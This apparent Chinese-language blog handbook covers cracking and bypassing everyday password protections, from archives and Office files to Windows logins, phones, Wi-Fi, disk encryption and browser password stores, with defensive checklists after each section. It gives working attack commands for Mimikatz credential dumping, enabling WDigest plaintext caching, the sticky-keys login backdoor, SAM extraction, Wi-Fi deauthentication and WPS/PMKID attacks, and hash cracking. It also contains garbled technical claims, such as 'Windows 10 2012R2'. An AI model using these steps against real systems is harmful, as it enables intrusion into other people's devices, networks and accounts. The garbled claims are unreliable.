日常密码攻防手册 —— 普通人用到的每一种密码,弱点与破解途径全解析

⚠️ 重要声明: 本文内容仅供安全教育和自我保护用途。未经授权破解他人的密码、系统或网络是违法行为。了解攻击方式是为了更好地防御,而不是成为攻击者。所有演示技术均针对”忘记自己密码”的场景。


前言:密码真的在保护你吗?

密码学理论上坚不可摧——AES-256 的密钥空间是 2²⁵⁶,用全世界的算力算到宇宙热寂也算不完。

但在现实中,密码系统的弱点几乎从来不在数学上。

攻击者不会去正面硬刚 AES-256。他们会:

  • 猜你的密码是「123456」还是「password」
  • 找到你把密钥和密文放在一起的蠢设计
  • 在你睡着的时候拿你的手指按指纹锁
  • 用 GPU 每秒试 100 万次直到试对为止
  • 绕过加密层,直接从内存里偷密钥

本文逐一拆解普通人日常生活中会用到的每一种密码保护机制——文档加密、压缩包、Windows 登录、手机锁屏、Wi-Fi、指纹、硬盘加密、浏览器密码……扒开它的底层实现,告诉你弱点在哪里,以及怎么被破解

每节的最后,都会给出一份「你现在就该做的事」——防御指南。


一、压缩包加密:ZIP / RAR / 7z

这是普通人最常遇到的「加密」场景。下载了一个压缩包要密码,或者自己忘了曾经设的密码。

1.1 底层原理速览

格式 加密算法 KDF(密钥派生) GPU 破解速度(RTX 4090)
ZIP Legacy(PKZIP) 自研 ZipCrypto(弱) 15 亿 H/s,8 位小写字母 ≈ 2 分钟
ZIP WinZip AES AES-256 PBKDF2(1000 轮) 约 40 万 H/s
RAR3 AES-128 自定义(约 26 万轮) 约 10 万 H/s
RAR5 AES-256 PBKDF2-HMAC-SHA256(约 32 万轮) 约 10 万 H/s
7z AES-256 SHA-256 KDF(约 52 万轮) 约 10 万 H/s

关键信息:PKZIP(旧版 ZIP 加密)形同裸奔。RAR5 和 7z 因为 KDF 轮数高,破解极慢。

1.2 破解方法全景

方法一:字典攻击(首选,成功率 90%)

用包含常见密码的字典逐一尝试。rockyou.txt(1400 万条)是最有名的字典,里面全是真人用过的密码。

1
2
3
4
5
6
7
8
9
# Hashcat 字典攻击 RAR5
hashcat -m 13000 -a 0 rar_hash.txt rockyou.txt

# 参数说明:
# -m 13000 → RAR5 哈希模式
# -a 0 → 字典攻击
# -m 13600 → WinZip AES
# -m 11600 → 7z
# -m 17200 → PKZIP(旧版ZIP,极快)

方法二:掩码攻击(知道部分信息时)

如果你记得密码是 6 位纯数字:

1
2
hashcat -m 13000 -a 3 rar_hash.txt ?d?d?d?d?d?d
# ?d = 数字 ?l = 小写 ?u = 大写 ?s = 特殊符号

方法三:已知明文攻击(PKZIP 专属杀招)

如果你知道压缩包内某个文件的完整或部分内容(比如里面有一个 readme.txt 你手头正好有原文件),可以用 bkcrack 从已知明文反推密钥——不用猜密码,直接解密整个压缩包。

1
2
# 要求:至少 12 字节的已知明文内容
bkcrack -C encrypted.zip -c readme.txt -p plain_readme.txt

这招对 PKZIP(ZipCrypto)有效,对 AES 加密的 ZIP 无效。

1.3 实战:完整破解流程

1
2
3
4
5
6
7
8
9
10
11
12
Step 1: 提取哈希
rar2john secret.rar > hash.txt

Step 2: 准备字典
# 合并多个字典并去重
cat *.txt | sort -u > combined.txt

Step 3: GPU 破解
hashcat -m 13000 hash.txt combined.txt -O -w 3

Step 4: 查看结果
hashcat -m 13000 hash.txt --show

1.4 防御指南

现在就该做的:

  • 创建加密压缩包时,选择 RAR5 或 7z 格式,并勾选「加密文件名」
  • 密码至少 12 位,包含大小写字母+数字+符号
  • 绝对不要用 ZIP Legacy(传统 ZIP 加密)——那是给破解者送人头
  • 不要用出生日期、手机号、姓名拼音当密码

二、办公文档加密:Word / Excel / PDF

2.1 底层原理

Microsoft Office 的加密随版本演进变化很大:

Office 版本 加密算法 破解难度
Office 97-2003(.doc/.xls/.ppt) RC4(40 位密钥) 秒破——攻击的不是密码,是直接打 40 位的密钥空间
Office 2007-2010(.docx/.xlsx) AES-128 + SHA-1 需要暴力破解
Office 2013-2024(.docx/.xlsx) AES-256 + SHA-512(10 万轮 PBKDF2) 极难——每次尝试要算 10 万次哈希

Office 2007 以后的文件,密码不存于文件中——文件只存 PBKDF2 的验证数据。没有后门,没有万能密码,只能暴力猜。

一个重要的陷阱: Excel 的「工作表保护」和「VBA 密码」不是加密——只是界面锁定。用 16 位 XOR 混淆校验值,任何恢复工具都能秒移除,不管密码多长。

2.2 破解方法

Excel 97-2003(.xls):直接打密钥空间

利用 RC4 40 位密钥的弱点,直接逆向密钥而不是猜密码。任何工具都能秒解,100% 成功。

Excel 2007+(.xlsx):暴力破解

1
2
3
4
5
# 提取哈希
office2john document.xlsx > hash.txt

# GPU 暴力破解(Hashcat mode 9600)
hashcat -m 9600 -a 0 hash.txt rockyou.txt

PDF 加密:分两种情况

类型 说明 破解
Owner Password(权限密码) 禁止打印/编辑但能打开 在线工具秒移除
User Password(打开密码) 不输入打不开 需暴力破解,PDF 1.4 及以前用 RC4(弱),1.5+ 用 AES(强)
1
2
3
# PDF 哈希提取
pdf2john.pl encrypted.pdf > hash.txt
john --wordlist=rockyou.txt hash.txt

工作表/VBA 保护:秒解

1
2
3
4
5
6
# 方式一:直接把 .xlsx 改名 .zip
# 解压后编辑 xl/worksheets/sheet1.xml
# 删除 <sheetProtection ...> 标签
# 重新打包,改回 .xlsx —— 密码没了

# 方式二:用 Passcovery / AccentOPR 等工具一键移除

2.3 防御指南

现在就该做的:

  • Office 2013 以上版本做加密(AES-256 + 10 万轮 PBKDF2)
  • 不要把「工作表保护」当加密用——它是纸糊的
  • 关键文档密码和压缩包一样:12 位以上混合

三、Windows 系统登录密码

3.1 密码存在哪里

Windows 登录密码以 NTLM Hash 形式存储在 C:\Windows\System32\config\SAM 文件中。

生成方式非常弱:

1
NTLM Hash = MD4( Unicode(密码明文) )

MD4 是 1990 年的老算法,GPU 暴力破解极快。 在 RTX 4090 上,NTLM Hash 的破解速度可达每秒数百亿次

但 SAM 文件在系统运行时被锁定,且受 SYSKEY 加密保护,无法直接读取。攻击者需要先获得管理员权限或物理访问。

3.2 Windows 10/11 内存中的明文密码

在 Windows 10 2012R2 之前版本中,系统会将登录密码的明文缓存在 lsass.exe 进程中。Mimikatz 可以直接读出来。

1
2
# Mimikatz 一键抓取(需管理员权限)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

输出示例:

1
2
3
4
Username : Administrator
Domain : DESKTOP-XXX
Password : MyPassword123 ← 明文密码直接显示
NTLM : a1e33a2281b8c6dbc2373bff87e8cb6e

Windows 10 2012 R2 及更高版本默认禁用了内存明文缓存,但可以通过修改注册表重新开启:

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \
/v UseLogonCredential /t REG_DWORD /d 1 /f
# 用户下次登录后,明文密码就会出现在内存中

3.3 离线破解:偷 SAM 文件

如果你有物理访问权限(或已获得管理员权限):

1
2
3
4
5
6
7
8
9
10
# Step 1: 导出注册表
reg save hklm\sam sam.hive
reg save hklm\system system.hive

# Step 2: 用 Impacket 提取 NTLM Hash
python secretsdump.py -sam sam.hive -system system.hive LOCAL

# Step 3: GPU 加速破解
hashcat -m 1000 hash.txt rockyou.txt -O -w 3
# -m 1000 → NTLM Hash 模式

3.4 绕过登录:粘滞键后门

这是一条经典的物理绕过路径,不需要破解密码本身:

  1. 用 Windows PE U 盘启动
  2. C:\Windows\System32\sethc.exe(粘滞键)替换为 cmd.exe
  3. 重启,在登录界面连按 5 次 Shift → 以 SYSTEM 权限打开命令提示符
  4. net user Administrator NewPassword → 密码被改了

Windows Defender 和 Secure Boot 可以防御此攻击,但很多老旧系统或配置不当的电脑仍然中招。

3.5 RDP 凭证窃取

如果你在远程桌面连接时勾选了「记住密码」,Windows 会用 MasterKey 将密码加密保存在:

1
%userprofile%\AppData\Local\Microsoft\Credentials\

Mimikatz 可以从内存中提取 MasterKey 并解密这些凭据:

1
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\xxx\AppData\Local\Microsoft\Credentials\xxx"

3.6 防御指南

现在就该做的:

  • 使用 Windows Hello(PIN + TPM) 代替密码登录
  • 不要勾选 RDP/浏览器/应用的「记住密码」
  • 打开 Secure Boot
  • 对高价值设备启用 BitLocker + TPM + PIN(见第七章)
  • 管理员账户密码至少 14 位

四、手机锁屏密码:Android / iOS

4.1 两类系统的根本差异

Android iOS
加密模型 基于文件的加密(FBE),密钥由锁屏密码保护 硬件安全隔区(Secure Enclave),密码与加密绑定
绕过难度 厂商五花八门,漏洞多 极高,但可重置
数据保留 部分工具声称能保留数据 几乎所有方法都会擦除数据

4.2 Android 锁屏破解

方法一:Google 查找我的设备(远程擦除)

如果你知道 Google 账号密码,访问 android.com/find → 擦除设备 → 锁屏密码随数据一起被清除。数据会丢失。

方法二:ADB 删除密码文件(需事先开启 USB 调试)

如果之前开启了 USB 调试:

1
2
3
adb shell rm /data/system/gesture.key     # 图案锁
adb shell rm /data/system/password.key # 密码锁
adb reboot

方法三:商业工具(如 Dr.Fone / DroidKit / PassFab)

原理是利用 Android 恢复模式(Download Mode)刷入解锁固件。支持的型号和 Android 版本有限,且可能丢失数据。费用 $30-$70。

方法四:利用 Find My Mobile(仅三星)

三星的 Find My Mobile 可以在不解锁屏幕的情况下远程解锁。前提是手机登录了三星账号且已开启该功能。

方法五:TWRP Recovery 删除密码

如果设备已安装 TWRP(第三方 Recovery)且 Bootloader 已解锁:

  1. 进入 TWRP → 文件管理器
  2. 导航到 /data/system/
  3. 删除 locksettings.db 及相关 .key 文件
  4. 重启 → 锁屏消失

方法六:FRP(Factory Reset Protection)绕过

这是针对 Android 5.1+ 的「防盗保护」。恢复出厂设置后会要求输入之前的 Google 账号。理论上这是好设计,但每个 Android 版本都有 FRP 绕过漏洞被不断发现和修补。

4.3 iOS 锁屏破解

核心认知:现代 iPhone 无法「破解」——只能「重置」。

iOS 的 Secure Enclave 是一个独立的硬件安全芯片。锁屏密码和加密密钥绑定在一起。错误 10 次(如果开启了「抹掉数据」),所有数据自动销毁。

可行的路径:

方法 数据保留 前提条件
恢复模式 + Finder/iTunes ❌ 全清 电脑 + 数据线
iCloud 查找 → 抹掉 ❌ 全清 知道 Apple ID 密码
Apple Devices 应用(Windows) ❌ 全清 电脑 + 数据线
iOS 17 忘记密码 → 旧密码重设 ✅ 保留 72 小时内刚改过密码
iOS 15.2+ 锁屏直接抹掉 ❌ 全清 连接网络、知道 Apple ID
第三方工具(Passixer / MagFone) ❌ 全清 $30-$50
Apple Watch 解锁 ✅ 保留 提前设置、戴着手表

Apple Watch 解锁是最骚的一条路:戴口罩时,Apple Watch 可以解锁 iPhone。如果提前设置好了,戴上手表、戴上口罩、唤醒 iPhone —— 锁屏就打开了。然后你可以在「设置」中重设密码。

4.4 防御指南

现在就该做的:

  • 使用 6 位或更长的 PIN(不要用 4 位数字)
  • Android:不要解锁 Bootloader,不要开启「允许 OEM 解锁」
  • Android:关闭 USB 调试(除非开发时需要)
  • iPhone:开启「抹掉数据」(10 次错误自动清除)
  • iPhone:记住你的 Apple ID 密码——它是最后的救命稻草
  • 不要让手机离开视线——物理接触是绕过锁屏的前提

五、Wi-Fi 密码:你家路由器到底安全吗?

5.1 WEP / WPA / WPA2 / WPA3 一图看懂

协议 发布年份 加密 破解难度
WEP 1997 RC4(静态 IV,24 位) 秒破——抓几万个包就能算出密码
WPA(TKIP) 2003 RC4 + TKIP 比 WEP 好但已知攻击存在
WPA2(AES-CCMP) 2004 AES-CCMP 弱密码可字典破解
WPA3 2018 AES-GCMP + SAE 离线字典攻击不再可行

5.2 WPA2 的四次握手与破解原理

WPA2 的致命弱点不在于 AES——而在于你可以抓取握手包做离线密码测试,而且没有速率限制

1
2
3
4
5
6
7
8
9
10
四次握手核心过程:
1. AP → Client:发送 ANonce(随机数)
2. Client → AP:用自己的 SNonce + 密码(PSK)推导出 PTK,发回 SNonce + MIC
3. AP → Client:验证 MIC,发送 GTK
4. Client → AP:确认

攻击者一旦抓到了第 1、2 步的数据:
→ 就能离线用字典逐一试密码
→ GPU 每秒能试几十万到上百万次
→ 弱密码(如纯数字 8 位)几分钟就破

5.3 实战:WPA2 破解完整流程

准备工作: 需要一张支持监听模式(Monitor Mode)的无线网卡(如 Atheros AR9271、Realtek RTL8812AU 芯片的外置 USB 网卡)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# Step 0: 进入监听模式
sudo airmon-ng check kill
sudo airmon-ng start wlan0 # 创建 wlan0mon

# Step 1: 扫描周围网络
sudo airodump-ng wlan0mon
# 记下目标:BSSID(MAC地址)和信道(Channel)

# Step 2: 锁定目标,准备抓握手包
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Step 3: 强迫已连接设备掉线重连(抓握手包)
# 在另一个终端窗口:
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# 当 airodump-ng 右上角显示 "WPA handshake: AA:BB:CC:DD:EE:FF" 时,抓包成功

# Step 4: GPU 破解
hcxpcapngtool -o hash.hc22000 capture-01.cap # 转换格式
hashcat -m 22000 hash.hc22000 rockyou.txt # 字典攻击

5.4 PMKID 攻击——更快更静默

不需要客户端在线! 只要 AP 支持 PMKID(绝大多数都支持),直接向 AP 发送关联请求就能获取 PMKID,然后离线破解。

1
2
3
4
5
6
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng \
--filtermode=2 --filterlist_ap=AA:BB:CC:DD:EE:FF
# 5-10 分钟即可抓到 PMKID

hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 rockyou.txt

5.5 WPS PIN 攻击(老路由的致命漏洞)

WPS 的设计是用一个 8 位 PIN 码快速连接。但这个 PIN 码的验证方式有严重缺陷:最后一位是校验位(只剩 7 位有效),且 PIN 被分成两半验证——前 4 位和后 3 位各自独立验证。这意味着攻击者只需要试 10⁴ + 10³ = 11,000 次就能穷举 PIN。

1
2
3
# Reaver 工具自动化攻击
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
# 几小时内拿到 WPS PIN → 直接获取 Wi-Fi 密码

防御:关闭路由器的 WPS 功能!

5.6 WPA3 也不完美

WPA3 修复了离线字典攻击(SAE 每次尝试都需要与 AP 在线交互),但引入了新攻击面:

  • 过渡模式降级攻击: 很多路由器同时开 WPA2 + WPA3(过渡模式),攻击者可以伪装成「只支持 WPA2 的设备」迫使客户端降级到 WPA2
  • Dragonblood 漏洞(已修补): SAE 协议的侧信道信息泄露

5.7 防御指南

现在就该做的:

  • 立即关闭路由器的 WPS
  • 使用 WPA2-AES 或 WPA3
  • Wi-Fi 密码至少 12 位,含大小写字母+数字+符号
  • 不要用「中文+数字」当密码(大部分字典覆盖不到,但如果攻击者定向生成就不安全)
  • 开启路由器的 MAC 地址过滤(额外一层门槛,但不要当为主要防御)
  • 定期查看路由器已连接设备列表

六、指纹识别:手机 / 门锁 / 笔记本

6.1 三种指纹传感器

类型 原理 破解难度 常见设备
电容式 测量指纹脊与谷的电容差异生成图像 (硅胶指纹膜 + 导电材料可骗过) 手机 Home 键、后置指纹、智能门锁
光学式 发光照亮指纹,反射光成像 (高清照片经过处理即可) 屏下光学指纹、老式门禁
超声波 发出超声波,不同深度反射波形不同 较高(需要 3D 模具) 三星旗舰屏下指纹

6.2 指纹破解的三种路径

路径一:电容硅胶指纹膜

国家市场监管总局的官方实验室在 2023 年做过测试,77% 的受测智能手机被电容硅胶指纹膜成功解锁。测试结论:

“常见带有指纹识别功能的消费品大多数均可被电容硅胶指纹膜解锁……智能门锁与门禁的指纹头大多采用电容式指纹传感器,被电容硅胶指纹膜解锁成功率较高。”

制作流程(来自公开安全研究报告):

  1. 从玻璃杯、手机屏幕等表面提取残留指纹
  2. 用 Photoshop 处理提高清晰度
  3. 3D 打印模具 → 注入导电硅胶/织物胶水
  4. 将指纹膜贴在手指上按压传感器

路径二:导电胶带「指纹学习」攻击

2018 年央视报道的漏洞:将导电笔画了图案的透明胶带贴在指纹传感器上,机主正常解锁 3 次——手机会把胶带上的导电图案「学」进指纹模板。此后,任何人的手指(甚至橘子皮)都能解锁。原理是手机指纹匹配的相似度阈值过低(可能只需 20% 匹配)。

路径三:高清照片 + 打印

对于光学指纹传感器(很多屏下指纹手机),用足够高分辨率的指纹照片打印在透明胶片上,即可骗过传感器。

但说实话: 对普通人而言,被指纹膜攻击的概率极低——制作门槛高、需要定向采集指纹。更大的风险是:你手机被偷后,对方可以用你的锁屏密码(而不是指纹)重置指纹。

6.3 防御指南

现在就该做的:

  • 重新录入指纹(如果担心胶带攻击)
  • 查看指纹传感器上有没有被贴不明胶带/膜
  • 手机重启后第一次解锁必须用密码(iOS 和大部分 Android 都是这样)——这是一个重要安全设计
  • 智能门锁:选择带 3D 结构光人脸识别 + 指纹的双重验证
  • 不要把指纹留在明显能拍摄到的玻璃表面

七、硬盘加密:BitLocker / FileVault / VeraCrypt

7.1 全盘加密的原理

全盘加密(FDE)在系统启动前加密整个硬盘,解密密钥由用户密码保护。

1
2
3
你的密码 → [KDF 密钥派生] → 解密 → 卷主密钥(VMK)→ 解密 → 全盘加密密钥(FVEK)

实时加解密硬盘数据

关键问题: FVEK 在系统运行期间存储在 RAM 中。一旦 FVEK 离开 TPM 进入了内存,保护就降级了。

7.2 冷启动攻击(Cold Boot Attack)—— 全盘加密的阿克琉斯之踵

DRAM 内存芯片在断电后会逐渐丢失数据(数据残留效应)。如果把内存冷却到 -50°C(用一罐压缩空气倒过来喷就行),数据可以保留数分钟甚至数十分钟

攻击流程:

  1. 拿到一台正在运行或处于睡眠状态的电脑
  2. 强制重启(拔电池或按电源键硬断电)
  3. 立即从 U 盘启动一个轻量级操作系统
  4. 转储 RAM 内容到文件
  5. 在内存转储中搜索 AES 密钥特征模式
  6. 用找到的 FVEK 解密整个硬盘

这个攻击对 BitLocker(TPM 模式)、FileVault、dm-crypt、VeraCrypt 全部有效,因为它不是攻击加密算法,而是攻击内存中还没被擦除的密钥

7.3 BitLocker 的 TPM-only 陷阱

TPM-only 是 BitLocker 的默认配置。TPM 验证系统启动链未被篡改后,自动将 VMK 释放给操作系统——用户什么都不需要做,开机就直接进桌面。

这意味着: 一旦电脑被偷时处于关机状态,攻击者开机后 TPM 会正常释放密钥,然后冷启动攻击拿走 FVEK → 全盘解密。

微软自己的研究团队也在 2025 年发现了一种名为「BitUnlocker」的 BitLocker 全盘加密绕过技术,通过操纵早期启动条件和恢复环境来诱骗 TPM 释放密钥。

7.4 防御指南

现在就该做的:

  • BitLocker 使用 TPM + PIN 模式:开机需要输入 PIN,没有 PIN 就没有密钥
  • 离开电脑时关机(不是睡眠、不是休眠)
  • 启用 Kernel DMA Protection(防止通过 Thunderbolt/FireWire 直接读内存)
  • macOS 用户:FileVault 默认就安全——苹果强制要求用户密码才能解锁
  • 如果必须用睡眠:将睡眠模式改为 S4(休眠),数据写入加密磁盘后断开内存供电

八、浏览器保存的密码:你的保险柜钥匙就在门垫下面

8.1 Chrome / Edge(Chromium 内核)

Chrome 将保存的密码加密存储在 SQLite 数据库中:

1
%LocalAppData%\Google\Chrome\User Data\Default\Login Data

加密用的是 AES-256-GCM——看起来很强。但:

加密密钥就放在同一个目录下的 Local State 文件中。

用记事本打开这个文件,搜索 encrypted_key,这就是你的密钥。

Chrome 依赖 Windows 的 DPAPI(Data Protection API) 来保护这个密钥。DPAPI 的加密绑定到当前登录的 Windows 用户——意味着任何以你身份运行的程序都可以调用 CryptUnprotectData() 函数解密这个密钥,然后打开你的密码数据库。

一句话总结:Chrome 把保险箱和钥匙放在同一个房间,然后用一个「谁来叫我开门就开门」的门锁。

Chrome 官方在 2013 年对此的回应是:「如果有人已经获取了你系统账户的访问权限,再多安全措施也无用。」——这更像甩锅。

v127 之后的新变化: Chrome 引入了「应用绑定加密」(App-Bound Encryption),Local State 中的密钥以 v20 前缀开头,解密需要注入 Chrome 进程上下文调用 IElevator COM 接口。门槛提高了,但对有管理员权限的攻击者来说仍然不是问题。

8.2 Firefox

Firefox 使用 Network Security Services(NSS)库 nss3.dll 进行加密。存储位置在用户配置文件夹(随机名称)下的 logins.jsonkey4.db

差异: Firefox 提供了主密码功能——如果启用,所有密码必须先用主密码解锁,否则即使在同一用户下也无法读取。但默认情况下这个功能是关闭的。

8.3 浏览器的信息窃取木马产业

现实中,浏览器密码泄露的主要威胁不是有人坐在你电脑前手动操作,而是恶意软件

信息窃取木马(Infostealer,如 Azorult、RedLine、Vidar)的工作流程:

  1. 通过钓鱼邮件 / 恶意下载安装到受害者电脑
  2. 找到 Chrome/Firefox/Edge 的数据目录
  3. 调用 CryptUnprotectData() 自动解密所有保存的密码
  4. 连同浏览历史、Cookie、信用卡信息一起打包上传到攻击者服务器
  5. 通常在几秒内完成,用户毫无感知

Azorult 曾占所有 Trojan-PSW 类恶意软件攻击的 25% 以上。

8.4 防御指南

现在就该做的:

  • 不要在浏览器中保存重要密码——改用密码管理器(见第九章)
  • Firefox 用户:开启主密码
  • 不要让不信任的人接触你的电脑
  • 不要下载来路不明的 exe/msi
  • 如果已经保存了密码:立即清空 Chrome 的「已保存密码」列表,全量迁移到 Bitwarden/KeePass

九、密码管理器主密码:零知识架构的最后防线

9.1 密码管理器的安全模型

Bitwarden 为例,密码管理器使用「零知识」架构:

1
2
3
4
5
6
7
你的主密码
↓ PBKDF2 / Argon2id (60万+ 轮迭代)
主密钥(Master Key)
↓ AES-256(在客户端)
加密密码库(Vault)
↓ TLS(传输到云服务器)
云端存储加密后的 Vault

关键设计:

  • 服务器永远看不到你的主密码
  • 解密只在你的客户端发生
  • 即使 Bitwarden 服务器被入侵,攻击者只能拿到加密后的 blob
  • 如果忘了主密码:永远找不回来(这正是安全性的保证)

9.2 破解密码管理器主密码

密码管理器的主密码一旦被破解,你的所有密码全部暴露——这是单点故障。

1
2
3
# Bitwarden 导出(导出为未加密的 JSON 时,实为导出加密后的 .json 文件)
# 然后可以用 hashcat 模式 28600 破解
hashcat -m 28600 bitwarden_hash.txt rockyou.txt

Bitwarden 使用 PBKDF2-SHA256(默认 60 万轮迭代,可调至 200 万轮),比纯 NTLM(无 KDF)慢了很多,但 GPU 仍然能以每秒数千次的速度测试。

9.3 防御指南

现在就该做的:

  • 主密码至少 16 位,不包含任何个人信息
  • 口令短语(passphrase)代替复杂密码:correct-horse-battery-stapleTr0ub4dor&3 更好记也更安全
  • Bitwarden 用户:在设置中将 KDF 改为 Argon2id,迭代数拉到设备承受范围内的最高值
  • 开启双因素认证(2FA)——即使主密码泄露,没有 2FA 也无法从新设备登录
  • 主密码绝不在任何其他地方使用

十、SSH 私钥密码:你服务器的最后一关

10.1 SSH 私钥的加密机制

SSH 私钥可以设置一个密码短语(passphrase)来保护。即使私钥文件被偷,不知道密码短语也无法使用。

私钥文件的头部会标明加密方式:

1
2
-----BEGIN OPENSSH PRIVATE KEY-----
...(加密后的密钥数据)

支持的加密算法:aes256-ctraes256-cbcaes128-gcm@openssh.com 等。

10.2 破解 SSH 私钥密码

前提: 攻击者已经获取了你的私钥文件(通过 Git 泄露、服务器入侵、恶意软件等途径)。

1
2
3
4
5
6
7
8
# Step 1: 将私钥转化为可破解的哈希
ssh2john id_rsa > ssh_hash.txt

# Step 2: John the Ripper 破解
john --wordlist=rockyou.txt ssh_hash.txt

# 或 Hashcat(模式 22911)
hashcat -m 22911 ssh_hash.txt rockyou.txt

John the Ripper 对 SSH 的支持非常好——无论是 RSA、DSA、ECDSA 还是 Ed25519 密钥,格式统一用 --format=ssh

10.3 私钥泄露的常见途径

  • Git 仓库误提交: 全球每天都有私钥被 push 到 GitHub 公有仓库
  • 服务器 /tmp 目录残留
  • 备份文件未加密
  • ~/.ssh/ 目录被恶意软件扫描上传

10.4 防御指南

现在就该做的:

  • SSH 私钥必须设置密码短语(passphrase)
  • 使用 ssh-agent,只在会话开始时输入一次密码
  • 生成 Ed25519 密钥(ssh-keygen -t ed25519),比 RSA 更快更安全
  • .gitignore务必包含所有私钥格式id_**.pem*.key
  • 定期轮换密钥(如同定期换密码)
  • GitHub 用户:开启 Push Protection——push 时检测到私钥会自动拦截

十一、在线账号密码:攻击者的金矿

这一节不讲技术原理——因为在线服务的安全性完全取决于服务提供方你的使用习惯,不是你能控制的加密算法。

11.1 凭据填充(Credential Stuffing)

最常见、最有效的攻击方式。

原理:你在 A 网站注册的账号密码,A 网站被拖库了(泄露)。攻击者拿到这组邮箱+密码,在你注册过的 B、C、D、E、F 网站全部试一遍。只要你在任何一个其他地方用了相同密码,账号就没了。

2023 年有 240 亿组凭据在地下论坛流通。

11.2 钓鱼攻击——绕过一切加密

不管你的密码多强,用了什么 2FA——如果你自己在假网站上输入了,加密就白做了。

现代钓鱼攻击越来越精致:

  • 中间人反向代理(Evilginx 类): 攻击者的服务器在真实网站和你的浏览器之间做代理,你的登录请求被原封不动转发给真实网站,连 2FA 的 session cookie 一起偷走
  • 同形异义攻击: arnazon.com(注意那个 n)vs amazon.com
  • 短信钓鱼: 「您的快递配送失败,请点击链接更新地址」

11.3 防御指南

现在就该做的:

  • 不同网站用不同密码——密码管理器帮你做到
  • 开启 2FA——优先用 TOTP(Google Authenticator / Authy)或硬件密钥(YubiKey),其次才是短信验证码
  • 收到链接先看域名——不要只看文字
  • 定期检查 https://haveibeenpwned.com ——看你的邮箱是否在已知泄露中
  • 密码管理器还可以帮你对每个网站生成随机密码

十二、工具速查表:你可以上手的实战工具

场景 工具 用途 难度
压缩包密码 John the Ripper (rar2john/zip2john) + Hashcat 提取哈希 + GPU 破解 ⭐⭐
压缩包(PKZIP已知明文) bkcrack 12 字节已知明文反推密钥 ⭐⭐⭐
Office 文档 office2john + Hashcat 提取哈希 + 破解 ⭐⭐
Excel 工作表保护 Passcovery / 手动编辑 XML 秒移除
PDF 密码 pdf2john.pl + John 提取哈希 + 破解 ⭐⭐
PDF 权限密码 Smallpdf / iLovePDF 在线工具 秒移除
Windows NTLM Hash Mimikatz / Impacket + Hashcat 提取 + GPU 破解 ⭐⭐⭐
Windows 密码绕过 Windows PE U盘 + 粘滞键替换 物理绕过 ⭐⭐
手机锁屏 DroidKit / Dr.Fone / Android ADB 商业工具或 ADB 操作 ⭐⭐
手机远程擦除 Google 查找我的设备 / iCloud 查找 远程重置
Wi-Fi WPA2 aircrack-ng 套件 + Hashcat 抓握手包 + 字典破解 ⭐⭐⭐
Wi-Fi PMKID hcxdumptool + Hashcat 静默抓取 + 破解 ⭐⭐
指纹测试 电容硅胶指纹膜材料 自制假指纹(仅限安全研究) ⭐⭐⭐
BitLocker 密钥提取 Cold Boot 攻击工具 内存冷启动转储 + 密钥搜索 ⭐⭐⭐⭐
Chrome 密码提取 Sharp-HackBrowserData / BrowserGhost 本机密码解密提取 ⭐⭐
SSH 私钥 ssh2john + John the Ripper 提取哈希 + 字典破解 ⭐⭐
泄露检测 haveibeenpwned.com 检查邮箱是否已泄露

十三、总结:普通人最少花费、最大收益的安全清单

如果你不想读前面一万字,以下是你现在就可以做的事——按重要性排序:

🔴 立刻做(今天,5 分钟)

  1. 关掉路由器 WPS → 登录路由器管理界面找到 WPS 设置,关掉
  2. 不同网站用不同密码 → 安装 Bitwarden,花 2 分钟注册
  3. 开启重要账号的 2FA → 邮箱、银行、支付平台至少开启 TOTP 或短信验证
  4. 清空浏览器保存的密码 → 全部迁移到 Bitwarden 后,逐条删除

🟡 本周做

  1. 修改 Wi-Fi 密码 → 至少 12 位混合
  2. BitLocker 加 PIN → 开启 TPM+PIN 模式
  3. Firefox 开主密码 → 设置 → 隐私与安全 → 主密码
  4. 检查 haveibeenpwned.com → 看你的邮箱/密码是否已泄露

🟢 本月做

  1. 所有加密压缩包都用 RAR5/7z 格式,密码 12 位以上
  2. SSH 私钥全部换成 Ed25519 + passphrase
  3. 手机 PIN 从 4 位改 6 位,iPhone 开抹掉数据
  4. 做一遍 Git 仓库安全审计:确认没有私钥、密码、token 被误提交

最后的最后:

密码系统的安全性 = 算法强度 × 实现正确性 × 人的使用习惯

三个因子中,算法是最强的那个,人是最弱的那个。攻击者不是黑掉 AES-256 的,他们是黑掉那个用「password123」当万能密码的你。

花 30 分钟做好上面的清单,你就能防住 99% 针对普通人的攻击。剩下的 1% 是国家级对手——如果真有那一天,你需要的不再是这篇文章。


本文技术信息截止 2026 年 7 月,所有工具和方法仅适用于合法密码恢复和安全审计场景。

-------------本文结束感谢您的阅读-------------